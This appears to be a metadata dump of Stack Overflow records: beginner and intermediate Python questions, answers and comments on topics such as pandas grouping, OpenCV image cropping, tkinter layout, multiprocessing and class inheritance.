type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46950177
has text: Both "{:x}".format(0xBEEF) and format(0xBEEF, 'x') worked as I expected.Thanks..
type: Comment

http://stackoverflow.com/a/47025573
answers question: http://stackoverflow.com/q/47025256
type: Answer
score: 0
has body: the solution: The problem isn't with tweepy it is with the certification in python3 so to fix that look at this link Python 3 : SSL: CERTIFICATE_VERIFY_FAILED then to install tweepy type python3 setup.py install

http://stackoverflow.com/q/46917182
favorite count: 0
has answer: http://stackoverflow.com/a/46917663
type: Question
duplicate of: http://stackoverflow.com/q/931092
linked to: http://stackoverflow.com/q/931092
tagged with: python
accepted answer: http://stackoverflow.com/a/46917205
has body: How would I make a word print backwards in Python? For example, if I have this: word = input("Enter a word: ") how would I make that print backwards?
has answer: http://stackoverflow.com/a/46917205
has title: How would I make a word print backwards in python?
type: AnsweredQuestion
answer count: 2
downvote count: 0
score: 1
upvote count: 1
possible better answer: http://stackoverflow.com/a/46917663

http://stackoverflow.com/q/46943409
has comment: http://stackoverflow.com/comment/80836154
has comment: http://stackoverflow.com/comment/80841300
has comment: http://stackoverflow.com/comment/80836310
tagged with: nlp
favorite count: 0
tagged with: stemming
type: Question
tagged with: lemmatization
has body: I am currently working with a neural network model that take words and phrases as features in a bag of words style model (i.e. a vector filled with ones and zeros depending if a word or phrase appears in the input data). To clean some of the words and reduce the number of unique words or phrases that will be input to the model a colleague and I used stemming AND lemmatization with the nltk python module. After I thought about it, this did not seem to make sense, but stemming the lemmas seemed to reduce the number of unique inputs the most, so we ran with it. My question is, is it harmful to stem a lemma? Would it harm the results? Is there a point to doing this? I have not found anyone asking a question like this anywhere so I am assuming it simply does not make sense.
tagged with: nltk
type: UnansweredQuestion
downvote count: 0
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/80836208
has comment: http://stackoverflow.com/comment/80836284
answer count: 0
has title: Does stemming a lemma provide any useful output?
score: 1
has comment: http://stackoverflow.com/comment/80835761

http://stackoverflow.com/comment/80771616
comment on: http://stackoverflow.com/a/46910499
type: Comment
score: 0
type: AnswerComment
has text: But then `'\n* '` basically *is* a second template.

http://stackoverflow.com/q/46919750
has body: for i in magicList: enemyName = myfont.render(enemy.name,1,(255,255,255)) number = [] number.append(i) pos = len(number) mDisplayText=myfont.render((str(pos, i)),1,(255,255,255)) I am trying to display on screen every item from the list 'magicList' as well as a number in front of that indicating the position so it would look someting like this 1) Fireball 2) Explosion 3) Heal I have been able to display it with just the text but i can't seem to do it with the numbers, is my use of the len flawed or is it something else because everytime it try that it returns the error: mDisplayText=myfont.render((str(pos, i)),1,(255,255,255)) TypeError: text must be a unicode or bytes it's weird that its like this considering pos should be an integer, but if anyone knows what's wrong here i'd love to know. For anyone that is asking why i don't just do it without the numbers, I have to use the numbers because that is how the player will select it, doing this way means i can append a potentially infinite number of items to the list without having to pre-program them all.
has title: Pygame Error when trying to display a line of text from a list TypeError: text must be a unicode or bytes
type: UnansweredQuestion
tagged with: python
tagged with: pygame
score: 0
has comment: http://stackoverflow.com/comment/80804995
tagged with: fonts
has answer: http://stackoverflow.com/a/46920003
has comment: http://stackoverflow.com/comment/80792802
has comment: http://stackoverflow.com/comment/80792029
answer count: 1
type: Question

http://stackoverflow.com/q/47007200
has answer: http://stackoverflow.com/a/47007241
type: UnansweredQuestion
tagged with: subclass
has answer: http://stackoverflow.com/a/47007223
tagged with: python
upvote count: 4
score: 4
answer count: 4
tagged with: superclass
tagged with: class
has comment: http://stackoverflow.com/comment/80961063
downvote count: 0
has title: How do I add arguments to a subclass in Python 3
has answer: http://stackoverflow.com/a/47007234
has body: class Wolf: def __init__(self, legs): self.legs = 4 class Dog(Wolf): def __init__(self, color): self.color = color fido = Dog(legs = 4, color = "brown") This would spute out an error message. How would I do something like that where I add parameters to the subclass that doesn't pertain to the superclass.
favorite count: 0
has answer: http://stackoverflow.com/a/47007240
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/46982491
score: 1
upvote count: 3
has comment: http://stackoverflow.com/comment/80912469
has answer: http://stackoverflow.com/a/46993655
has answer: http://stackoverflow.com/a/46983539
downvote count: 2
possible better answer: http://stackoverflow.com/a/46982545
has comment: http://stackoverflow.com/comment/80912715
has answer: http://stackoverflow.com/a/46982545
favorite count: 0
has comment: http://stackoverflow.com/comment/80912467
type: Question
answer count: 8
has comment: http://stackoverflow.com/comment/80912462
has comment: http://stackoverflow.com/comment/80912996
has comment: http://stackoverflow.com/comment/80912609
accepted answer: http://stackoverflow.com/a/46982856
has comment: http://stackoverflow.com/comment/80912668
tagged with: python
has answer: http://stackoverflow.com/a/46982674
has answer: http://stackoverflow.com/a/46982685
has answer: http://stackoverflow.com/a/46982856
has title: Check if at least 2 variables is the same value or higher than another variable
has body: Code: quota = 22 a = int(input("Enter a number: ")) b = int(input("Enter a number: ")) c = int(input("Enter a number: ")) d = int(input("Enter a number: ")) e = int(input("Enter a number: ")) I would like it so if at least 2 of the variables a - f is equal or higher to the variable quota than print "Quota met" Preferably I would like it in the most efficient and understandable way.
has answer: http://stackoverflow.com/a/46982675
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80912458
has comment: http://stackoverflow.com/comment/80913108
has comment: http://stackoverflow.com/comment/80912502
has answer: http://stackoverflow.com/a/46982608

http://stackoverflow.com/q/47054124
has body: I have a dataframe of the format |Col1|Col2|Count|Day | |----|----|-----|-----| | A | C | 1 | Mon | | A | C | 3 | Tue | | A | C | 5 | Wed | | A | D | 7 | Mon | | B | C | 2 | Mon | | B | D | 4 | Tue | I want to group by the first two columns, and create a dictionary of the counts per day as a new column grouping the original rows, and throw away the origional Count and Day columns. I want my result to look like |Col1|Col2|dateCounts | |----|----|-----------------------------| | A | C |{"Mon":1, "Tue": 3, "Wed": 5}| | A | D |{"Mon":7} | | B | C |{"Mon":2} | | B | D |{"Tue":4} | I could do something like adding the column to each row, drop the Count and Day columns and then drop duplicates on the frame, but I'm struggling on getting the extra dateCounts column to work nicely. Is this possible using the df.groupby(['Col1', 'Col2']).apply() method?
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47054333
score: 3
accepted answer: http://stackoverflow.com/a/47054333
tagged with: pandas-groupby
tagged with: pandas
upvote count: 3
tagged with: group-by
answer count: 1
has title: Pandas grouping by multiple columns and putting results into a map as a new column
tagged with: dataframe
tagged with: python
favorite count: 0
type: Question
downvote count: 0

http://stackoverflow.com/comment/80825990
comment on: http://stackoverflow.com/a/46938845
has text: @LearningToPython sure, look I, the first while is asking if the input is in NOT in "y-yes-n-no" meaning, it has to ask again to user to input again until the input is a valid one (the second else do that job, ask for a new input), then you ask if the input was a yes like, or a no like, and if it was no, you stop the while, if it was yes, you map the value
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/80937832
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46995660
has text: Check your indentation.
score: 1

http://stackoverflow.com/q/46996298
has comment: http://stackoverflow.com/comment/80941818
has comment: http://stackoverflow.com/comment/80939171
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80942406
type: UnansweredQuestion
answer count: 1
has comment: http://stackoverflow.com/comment/80940260
has title: Storing images in list
has comment: http://stackoverflow.com/comment/80941797
has answer: http://stackoverflow.com/a/46996859
tagged with: opencv
score: 0
tagged with: opencv3.0
has body: I've been trying to store cropped images from as single frame to a list but i keep getting errors. Here's a snippet of my code import cv2 import numpy as np cap = cv2.VideoCapture('/home/wael-karkoub/Desktop/Research/Videos/test.mp4') ret = True cropped_images = [] while ret == True: ret, frame = cap.read() height, width, channels = frame.shape gray = cv2.cvtColor(frame,cv2.COLOR_BGR2GRAY) blur = cv2.GaussianBlur(gray,(5,5),0) _ ,thresh = cv2.threshold(blur[0:height//2],10,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU) im2, contours, hierarchy = cv2.findContours(thresh,1,2) for cnt in contours: x,y,w,h = cv2.boundingRect(cnt) cv2.rectangle(frame,(x,y),(x+w,y+h),(0,255,0),2) image = frame[y:y+h, x:x+w] cv2.imshow('test',image) time.sleep(2) # cv2.imshow('Contours',frame) if cv2.waitKey(25) &amp; 0xFF == ord('q'): cv2.destroyAllWindows() break cap.release() cv2.destroyAllWindows() Is this the correct way of doing it? Output = enter image description here
tagged with: python

http://stackoverflow.com/comment/80812814
comment on: http://stackoverflow.com/q/46932823
score: 0
type: Comment
type: QuestionComment
has text: https://stackoverflow.com/questions/3584805/in-matplotlib-what-does-the-argument-mean-in-fig-add-subplot111#11404223 also take a look here, looks like you add both sub-plots with (111) which maybe leads to overlapping

http://stackoverflow.com/a/46983491
has comment: http://stackoverflow.com/comment/80920509
type: Answer
has comment: http://stackoverflow.com/comment/80915211
has comment: http://stackoverflow.com/comment/80921380
answers question: http://stackoverflow.com/q/46983427
downvote count: 0
upvote count: 1
has body: you're creating a list of integers, then use this computation in your formula: input_a[3] / input_a[2] since you're using python 2 (your code is okay in python 3), you're using integer division, and your computation is wrong in that case. I would do: float(input_a[3]) / input_a[2] or use from __future__ import division or just parse numbers as float in the first place.
score: 1

http://stackoverflow.com/a/61333584
score: 2
upvote count: 3
answers question: http://stackoverflow.com/q/47022997
downvote count: 1
type: Answer
has body: Reinstall your library with conda instead of pip.

http://stackoverflow.com/comment/80837436
has text: @Simplicity: It's `50//2` because that half of the 50 pixel width and height of the crop box. It's ½ because the box is centered, so that much of it lies on either side of that midpoint.
type: AnswerComment
comment on: http://stackoverflow.com/a/46944232
score: 1
type: Comment

http://stackoverflow.com/comment/80923279
score: 1
type: Comment
comment on: http://stackoverflow.com/q/46988220
type: QuestionComment
has text: So what you have is a string in JSON format (trust me, `json.dumps()` does that correctly) and what you want is to send that to a server using `requests.post()`. Maybe you forgot to inform the server of that data format you are using? You need to set the `Content-Type` request header to tell the server that the data it is about to receive is JSON, as opposed to the many other things it could be.

http://stackoverflow.com/q/46939260
score: 0
has comment: http://stackoverflow.com/comment/80825934
has title: Python file not saving high score
has comment: http://stackoverflow.com/comment/80825707
type: Question
has answer: http://stackoverflow.com/a/46939728
answer count: 2
has answer: http://stackoverflow.com/a/46939785
type: UnansweredQuestion
tagged with: python
has body: I am currently trying to make a number guessing game to practice my coding. Everything works except for the fact it is not saving my high score when I restart the game, any suggestions? print('Can you guess the number on the first try (hint: its inbetween 1-100)?') import random randomNum = random.randint(0,100) userNum = 0 guesses = 0 userHigh = 0 gFile = open("score.txt", "r") #tells the score gFile.read() int(guesses) print("the previous high score was", userHigh) gFile.close() while randomNum != userNum: try: userNum=int(input("What is your guess?: ")) if randomNum&gt;userNum: print('Higher') elif randomNum&lt;userNum: print('Lower') except: print("please entera numeric value") else: guesses+=1 print("You win! The number was", randomNum) print("You took {} guesses!".format(guesses)) gFile = open("score.txt", "w") gFile.write(str(guesses)) gFile.close()
has comment: http://stackoverflow.com/comment/80825932

http://stackoverflow.com/comment/80937681
has text: @0TTT0 traceback added
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46995486

http://stackoverflow.com/q/46936267
answer count: 0
score: 1
tagged with: function
downvote count: 0
upvote count: 1
tagged with: variables
has title: Python function parameter keep expanding
duplicate of: http://stackoverflow.com/q/1132941
favorite count: 0
type: Question
type: UnansweredQuestion
tagged with: python
has body: First and foremost, I am a newbie on python. I have a (possibly) trivial question. I have this following code def foo(a=[]): a.append(1) print a foo() foo() When I run this code, I get the following: [1] [1, 1] I am wondering why the input parameter keeps expanding. I imagine that once we are done calling the function the first time, the variable a in the foo function is out of scope and is thus thrown to garbage. But instead, I see that this variable persists and keeps expanding every time I call foo(). Can anybody please shed some light on how the variables are managed in this case?

http://stackoverflow.com/q/47050696
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47050973
tagged with: python
has body: While solving a problem on matrix rotation I came across a solution .The question asks to rotate the matrix by 90 degrees in place. def rotateImage(a): rows = len(a) cols = len(a[0]) a=a[::-1] return [[m[i] for m in a] for i in range(cols)] Can someone help me in breaking down this list comprehension to regular for-loop and understand the flow of the program
linked to: http://stackoverflow.com/q/42519
score: 0
answer count: 2
tagged with: matrix
has title: rotate Image List comprehension
tagged with: in-place
has answer: http://stackoverflow.com/a/47050747
type: Question

http://stackoverflow.com/q/46983310
score: 3
has answer: http://stackoverflow.com/a/46992274
has comment: http://stackoverflow.com/comment/80930507
has comment: http://stackoverflow.com/comment/80915331
has title: To-Do List Python function
type: UnansweredQuestion
has body: I’m trying to write a function that manages a to-do list per day by using nested lists (with a depth of 2). I’m working from a file that has defined a list of tasks. The format for one task would look like this: 'email', 9, 15, 2, 0, 70, 'Answer all the emails received today.' the format of each task is: Name of the task. Date of the task: month (an integer between 1 and 12). Date of the task: day (an integer between 1 and 31). Start time of the task: hour (in a 24-hour format, hence an int between 1 and 24), e.g., for 9:15 AM, this entry is 9. If the start time is 11:45 PM, this entry is 23. Start time of the task: minute (an int between 0 and 59). Length of the task (in minutes): A task length of 2 hours and 20 minutes is 140 minutes. General description of the task. My function has to take in a date in the form [10,1] (denotes October 1) and print out all the the tasks for that day ordered based on their start times. It should look like this: These are your tasks for Oct. 1 Task Name: coffee Start time: 8:25 AM End time: 8:30 AM Description: making coffee Task Name: lunch Start time: 12:00 PM End time: 12:30 PM Description: Lunch time How can I approach this? I have defined functions for the month and the day, but I’m trying to first write a function that compares the dates and then the tasks depending on which ones come first. Please let me know if you can help. def print_tasks(tasks, date_list): """Print all the tasks for the given date from the given list of tasks. Arguments: tasks--A nested list, where each inner list represents the information on a single task. date_list--a list of two integers representing the month and day for which the tasks should be printed. For example, [10, 1] represents Oct. 10th (month=10, day=1). """ for task in tasks: if task[1] == date[0] and task[2] == date[1]: if task[3] &gt; 12: start_time = ' PM' task[3] -= 12 else: start_time = ' AM' if task[3] &gt; 12: end_time = ' PM' task[3] -= 12 else: end_time = ' AM' print 'Task Name:'…
upvote count: 5
has comment: http://stackoverflow.com/comment/80915045
tagged with: python
has comment: http://stackoverflow.com/comment/80930336
tagged with: python-2.7
has answer: http://stackoverflow.com/a/46993100
answer count: 2
downvote count: 2
has comment: http://stackoverflow.com/comment/80925029
has comment: http://stackoverflow.com/comment/80924955
has comment: http://stackoverflow.com/comment/80930438
has comment: http://stackoverflow.com/comment/80930500
favorite count: 0
type: Question

http://stackoverflow.com/a/47018775
type: Answer
upvote count: 3
has comment: http://stackoverflow.com/comment/80984184
downvote count: 0
has body: You have an invalid XML : 007</TabNum> <Emp_name>James Bond</FIO> Try to fix your XML : 007 <Emp_name>James Bond</Emp_name>
score: 3
answers question: http://stackoverflow.com/q/47018651

http://stackoverflow.com/comment/80908556
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46958880
has text: Glad it worked out for you

http://stackoverflow.com/q/46942566
has comment: http://stackoverflow.com/comment/80832665
has comment: http://stackoverflow.com/comment/80832646
type: Question
has comment: http://stackoverflow.com/comment/80832636
has comment: http://stackoverflow.com/comment/80833067
tagged with: python-3.x
tagged with: python-import
has body: In a python script running with Python 3.x, importing another python script running with Python 2.7, is it possible to tell the program to use Python 2.7 interpreter when importing that specific script? In this "mainfile.py" running with Python 3.x import anotherfile27 As soon as "anotherfile27.py" is importing, everything will automatically run, no functions in "anotherfile27.py" need to be reused in "mainfile.py". Only several .csv scripts will be generated in order to be used later. Is it possible to write a line of code within "anotherfile27.py" or within "mainfile.py" to tell the program to change the interpreter from Python 3 to Python 2.7 only when running "anotherfile27.py"?
accepted answer: http://stackoverflow.com/a/46944591
tagged with: python
has answer: http://stackoverflow.com/a/46944591
has title: In a script using Python 3.x, importing other script using Python 2.7, how to make that specific script running with 2.7 separately when importing it?
has comment: http://stackoverflow.com/comment/80832856
type: AnsweredQuestion
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/80832721
answer count: 1

http://stackoverflow.com/comment/81001929
comment on: http://stackoverflow.com/a/47027314
type: Comment
score: 0
has text: @Ajax1234 you can add this to your solution:-) .`df.col1.apply(lambda x : x.isalnum())` Data input `df=pd.DataFrame( {'col1':["sdfsdfq34sd","sdfsdfq###34sd","sdfsdf!q34sd","sdfsdfq34s@d"]})`
type: AnswerComment

http://stackoverflow.com/q/46941260
upvote count: 1
duplicate of: http://stackoverflow.com/q/23584325
downvote count: 1
favorite count: 0
type: Question
has title: My Python GUI does not open
tagged with: python
has comment: http://stackoverflow.com/comment/80830995
has comment: http://stackoverflow.com/comment/80831048
has body: I just have a short question about my rather simple Python Code. I wanted to create a GUI as you can see, but every time I use the built-in .grid() function, the GUI window does not open and I dont know why. Thank you for the answers root = Tk() root.title("Hello World") label = Label(root, text="Label 1") label2 = Label(root, text="Label 2") b = Button(root, text="Hallo") b1 = Button(root, text="o") b2 = Button(root, text="k") b3 = Button(root, text="w") b4 = Button(root, text="e") b5 = Button(root, text="l") b6 = Button(root, text="t") b7 = Button(root, text="d") b8 = Button(root, text="u") label.grid(row=0, column=0) label2.grid(row=0, column=1) b.pack() b1.pack() b2.pack() b3.pack() b4.pack() b5.pack() b6.pack() b7.pack() root.mainloop()
tagged with: python-3.x
score: 0
linked to: http://stackoverflow.com/q/23584325
tagged with: tkinter
answer count: 0
has comment: http://stackoverflow.com/comment/80830928
type: UnansweredQuestion

http://stackoverflow.com/q/46994589
tagged with: http://stackoverflow.com/tag/zip
has body: I got BadZipfile: Bad magic number for file header error while extracting a .zip using python2 zipfile.ZipFile Same .zip when extracted with unzip gives file #1: bad zipfile offset (local header sig): 0 but gets extracted with exit code 2. When using jar -xf file.zip the command completes with $? == 0 with nothing being extracted. Using file gives: file -i file.zip file.zip application/octet-stream; charset=binary This gives incorrect header for zipfile $ hexdump -C file.zip | head -10 00000000 50 67 f0 de 1e 7a 29 e4 93 56 3f 11 a2 5f b6 97 |Pg...z)..V?.._..| Correct header is: 00000000 50 4b 03 04 14 00 08 08 08 00 28 3e 4b 4b 00 00 |PK........(&gt;KK..| Why is the file listed as application/octet-stream ? I am on Distributor ID: Ubuntu Description: Ubuntu 14.04.5 LTS Release: 14.04 Codename: trusty Whats going on ? What file format is this ? Any pointers ?
answer count: 2
linked to: http://stackoverflow.com/q/7703639
score: 1
tagged with: unzip
downvote count: 0
tagged with: jar
has comment: http://stackoverflow.com/comment/80935607
upvote count: 1
has title: Extracting .zip in python
favorite count: 0
has comment: http://stackoverflow.com/comment/80935619
type: Question
has comment: http://stackoverflow.com/comment/80935610
has comment: http://stackoverflow.com/comment/80936489
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80935852
tagged with: python
has comment: http://stackoverflow.com/comment/80936076
has answer: http://stackoverflow.com/a/79207110
has answer: http://stackoverflow.com/a/46994753

http://stackoverflow.com/q/47006660
has comment: http://stackoverflow.com/comment/80966138
tagged with: svm
favorite count: 0
type: Question
upvote count: 2
tagged with: prediction
has body: I have a dataset, with "probabilities" (X), "results" (y) and "loss" (z). X contains the probabilities of classifications. The highest probabilities of each array will be chosen. For each array, there is a corresponding 'loss' value and 'result' value. But sometimes this classification is not correct. This is represented by the results in y. 1=correct classification, 0=wrong classification. I want to predict those result for another dataset (test_data). X looks like this (5461 lines): [[ 7.52080159e-05 3.52246707e-06 9.99919772e-01 1.60897298e-06] [ 5.29095473e-07 1.37183363e-07 9.99999166e-01 6.71615084e-08] [ 8.79671461e-06 3.60849692e-04 4.20530778e-05 9.99588311e-01] [...]] Overall, there are only 33 0, the rest are 1. And also, the probabilities are quite high (ca. 95% and higher). Still, I'd like to predict the results correctly. In fact, even when I test it with my train_data, the SVM only returns 1. No matter if there should be 0. E.g. for X[29] the result is 0. But the prediction returns 1. import numpy as np from sklearn import svm f = np.load('analyse.npy', encoding='latin1', fix_imports=True) test_file = np.load('test.npy', encoding='latin1', fix_imports=True) X = np.array(f.item()['probabilities']) X = X.reshape(-1,4) print(X[:3]) y = np.array(f.item()['result']) print(list(y)) clf = svm.SVC(kernel='linear'); clf = clf.fit(X, y) pred = clf.predict(X) print(list(pred)) print(X[29]) print(y[29]) Output: What am I missing here? I relatively new to SVM. First I wanted to skip the 'loss' values, but it seems, I need it, right? Since the probabilities are very high, to I have to scale/normalize them?
has title: Why does SVM predict only one class (when having two classes), even on train_data?
answer count: 0
tagged with: classification
type: UnansweredQuestion
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/80978395
score: 2

http://stackoverflow.com/a/46915352
score: 1
has body: Just in case, you don't want to use regex. Here is an alternative. def tokenize_using_dot(s_input): s_list = s_input.split() for idx in range(len(s_list)): if s_list[idx][-1] == '.' and not s_list[idx][0:-1].isdigit(): s_list[idx] = s_list[idx].replace('.', ' .') return' '.join(s_list) s = "Der 17. Januar war ein toller Tag. Heute ist es auch schön." print(tokenize_using_dot(s)) output: Der 17. Januar war ein toller Tag . Heute ist es auch schön . As @phg commented, it would be a good idea to use a proper tokenizer from nltk suit for these type of tasks.
type: Answer
answers question: http://stackoverflow.com/q/46914477
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80866867
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46959619
score: 0
has text: @Nivi, Divakar's answer should work, unless your sample input does not reflect your actual data's characteristics. I'd advise you to revisit your question.

http://stackoverflow.com/q/47002598
has comment: http://stackoverflow.com/comment/80951765
has comment: http://stackoverflow.com/comment/80952571
has answer: http://stackoverflow.com/a/47004474
type: AnsweredQuestion
answer count: 3
has comment: http://stackoverflow.com/comment/80951850
has comment: http://stackoverflow.com/comment/80951863
score: 1
possible better answer: http://stackoverflow.com/a/47002668
has comment: http://stackoverflow.com/comment/80951719
linked to: http://stackoverflow.com/q/60208
has comment: http://stackoverflow.com/comment/80955583
downvote count: 0
tagged with: python-2.x
has comment: http://stackoverflow.com/comment/80952005
has comment: http://stackoverflow.com/comment/80952091
accepted answer: http://stackoverflow.com/a/47003070
has comment: http://stackoverflow.com/comment/80951964
has comment: http://stackoverflow.com/comment/80952638
has comment: http://stackoverflow.com/comment/80952250
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47003070
has comment: http://stackoverflow.com/comment/80952055
has comment: http://stackoverflow.com/comment/80951938
has title: Faster than if-elif statement
has answer: http://stackoverflow.com/a/47002668
upvote count: 1
tagged with: python
has body: I am receiving Points in large number from a sensor in real-time. However, I just need 4 categories of points, i.e., top_left, top_right, bottom_left, and bottom_right. I have an if-elif statement in Python 2 as follows: from random import random, randint # points below are received from sensor. however, # here in this post I am creating it randomly. points = [Point(randint(0, i), random(), random(), random()) for i in range(100)] # 4 categories top_left, top_right, bottom_left, bottom_right = None, None, None, None for p in points: if p.id == 5: top_left = p elif p.id == 7: top_right = p elif p.id == 13: bottom_left = p elif p.id == 15: bottom_right = p print top_left.id, top_left.x, top_left.y, top_left.z # check variable Each Point has an id and x, y, z parameters. This is an inbuilt class. I am just showing a sample class here. class Point(): def __init__(self, id, x, y, z): self.id = id self.x = x self.y = y self.z = z Is there any efficient way considering runtime of achieving the same. Answer: I am adding the results which I got from the answers. It seems that the answer by Elis Byberi is fastest among all. Below is my test code: class Point(): def __init__(self, id, x, y, z): self.id = id self.x = x self.y = y self.z = z from random import random, randint n = 1000 points = [Point(randint(0, i), random(), random(), random()) for i in range(n)] def method1(): top_left, top_right, bottom_left, bottom_right = None, None, None, None for p in points: if p.id == 5: top_left = p elif p.id == 7: top_right = p elif p.id == 13: bottom_left = p elif p.id == 15: bottom_right = p #print top_left.id, top_left.x, top_left.y, top_left.z def method2(): categories = { 5: None, # top_left 7: None, # top_right 13: None, # bottom_left 15: None # bottom_right } for p in points: categories[p.id] = p top_left = categories[5] #print top_left.id, top_left.x, top_left.y, top_left.z def method3(): name_to_id = {'top_left': 5, 'top_right': 7, 'bottom_left': 13, 'bottom_right': 15} ids = …

http://stackoverflow.com/comment/80900847
comment on: http://stackoverflow.com/a/46976350
score: 0
type: Comment
type: AnswerComment
has text: got this.... Traceback (most recent call last): File "K:\X-Plane 11\addpoly.py", line 9, in <module> fout.write(prev) TypeError: expected a string or other character buffer object

http://stackoverflow.com/comment/80908738
score: 0
comment on: http://stackoverflow.com/a/46978880
type: Comment
has text: Thanks you so much
type: AnswerComment

http://stackoverflow.com/q/47039553
tagged with: python
accepted answer: http://stackoverflow.com/a/47041881
favorite count: 0
has comment: http://stackoverflow.com/comment/81025815
type: Question
has title: python - multiprocessing issues with class fields and methods
tagged with: pool
has body: I need, in a data analysis python project, to use both classes and multiprocessing features, and I haven't found a good example of it on Google. My basic idea - which is probably wrong - is to create a class with a high-size variable (it's a pandas dataframe in my case), and then to define a method which computes an operation (a sum in this case). import multiprocessing import time class C: def __init__(self): self.__data = list(range(0, 10**7)) def func(self, nums): return sum(nums) def start_multi(self): for n_procs in range(1, 4): print() time_start = time.clock() chunks = [self.__data[(i-1)*len(self.__data)// n_procs: (i)*len(self.__data)// n_procs] for i in range(1, n_procs+1)] pool = multiprocessing.Pool(processes=n_procs) results = pool.map_async(self.func, chunks ) results.wait() pool.close() results = results.get() print(sum(results)) print("n_procs", n_procs, "total time: ", time.clock() - time_start) print('sum(list(range(0, 10**7)))', sum(list(range(0, 10**7)))) c = C() c.start_multi() The code doesn't work properly: I get the following print output sum(list(range(0, 10**7))) 49999995000000 49999995000000 n_procs 1 total time: 0.45133500000000026 49999995000000 n_procs 2 total time: 0.8055279999999954 49999995000000 n_procs 3 total time: 1.1330870000000033 that is the computation time increases instead of decreasing. So, which is the error in this code? But I'm also worried by the RAM usage since, when the variable chunks is created, the self.__data RAM usage is doubled. Is it possible, when dealing with multiprocessing code, and more specifically in this code, to avoid this memory waste? (I promise I'll put everything on Spark in the future :) )
answer count: 1
has comment: http://stackoverflow.com/comment/81025912
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47041881
tagged with: multiprocessing
type: AnsweredQuestion
score: 1
linked to: http://stackoverflow.com/q/4114167

http://stackoverflow.com/comment/80961173
score: 0
comment on: http://stackoverflow.com/q/46996277
type: Comment
type: QuestionComment
has text: Tom I modified the question adding part of the data frame and part of the code that I have so far

http://stackoverflow.com/a/60361362
type: Answer
has body: UDP is standardized since 1980. While I agree, sometimes the same 3 letter abbreviation does not mean both like to talk to each other, in this case you can rely on UDP libraries to be compatible. If it does not work, either you made a mistake or some firewall or similar is interfering. You found two of the easy to use options. The first one requires a license for the toolbox. Both will work and I don't see disadvantages. There are plenty of other options, but they will all end up in a more complicated solution. You could for example write a python library to receive the data and call it from MATLAB. This is probably pointless since MATLAB can do UDP.
score: 0
answers question: http://stackoverflow.com/q/47051352

http://stackoverflow.com/comment/80818747
has text: Just tried. NameError: name 'fractions' is not defined
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46935456
type: Comment

http://stackoverflow.com/comment/80884181
score: 0
has text: But then how would I write python script
type: Comment
comment on: http://stackoverflow.com/q/46968333
type: QuestionComment

http://stackoverflow.com/comment/81066286
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47022945
has text: That's what I showed in the `requires` method of my `BatchCreator` task, assuming you have a file where each line of the file is the varying URN component.
score: 0

http://stackoverflow.com/q/46998286
linked to: http://stackoverflow.com/q/24826842
score: -1
has comment: http://stackoverflow.com/comment/80943199
type: AnsweredQuestion
upvote count: 0
duplicate of: http://stackoverflow.com/q/24826842
accepted answer: http://stackoverflow.com/a/46998309
has answer: http://stackoverflow.com/a/46998309
downvote count: 1
answer count: 1
favorite count: 0
type: Question
tagged with: function
has title: sum up the whole element in the list given by the user skipping its first two elements
has body: sum up the whole given list by user skipping its first two elements For example: sum_of_marks(['ali','P176133',45,32,90,87) it should return sum of the numbers
tagged with: python

http://stackoverflow.com/comment/80925700
has text: @TomKarzes your right ,the eval was just for the code example :)
comment on: http://stackoverflow.com/q/46988463
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/a/46995124
accepted answer of: http://stackoverflow.com/q/46994663
score: 0
answers question: http://stackoverflow.com/q/46994663
has comment: http://stackoverflow.com/comment/80951941
type: Answer
has body: Your code has some logical errors in it. For example, it will reach "b is false, the rest are true" anytime a is False and b is true, even if c and/or d are False. To do this right, you need to test all the variables all the way down to d, no matter what you found for a, b and c. If you do that, you will end up with 16 'leaves' at the d level, and you will write all the print statements in these leaves. Below is a version of your code with the extra branches added. The "all false" section ends up at the else/else/else/else branch, where it should be. if a: if b: if c: if d: print("a,b,c,d are true") else: print("d is false; a,b,c are true") else: # c false # more detail added below if d: print("c is false; a,b,d are true") else: print("c,d are false; a,b are true") else: # b false # more detail added below if c: if d: print("b is false; a,c,d are true") else: print("b,d are false; a,c are true") else: # c false if d: print("b,c are false; a,d are true") else: print("b,c,d are false; a is true") else: # a false if b: if c: if d: print("a is false; b,c,d are true") else: print("a,d are false; b,c are true") else: # c false # more detail added below if d: print("a,c are false; b,d are true") else: print("a,c,d are false; b is true") else: # b false # more detail added below if c: if d: print("a,b are false; c,d are true") else: print("a,b,d are false; c is true") else: # c false if d: print("a,b,c are false; d is true") else: print("a,b,c,d are false") About your error -- you had code like the following, which is invalid: if a: # something else: # something else else: print("a,b,c,d are false")
type: AcceptedAnswer

http://stackoverflow.com/comment/81011589
has text: @TaimoorPasha have a look at the links GhostlyMartijn provided as a comment to your question.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47031658

http://stackoverflow.com/comment/80790466
type: Comment
comment on: http://stackoverflow.com/q/46921443
has text: I'd also advice against using integers as dict keys, which also wouldn't work if you wanted to use the dict() constructor.
score: 0
type: QuestionComment

http://stackoverflow.com/q/47016040
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80978568
has title: How to iteratively bring in different layers from a folder and assign them each different variable names?
possible better answer: http://stackoverflow.com/a/47016931
tagged with: python
accepted answer: http://stackoverflow.com/a/47016122
has comment: http://stackoverflow.com/comment/80981283
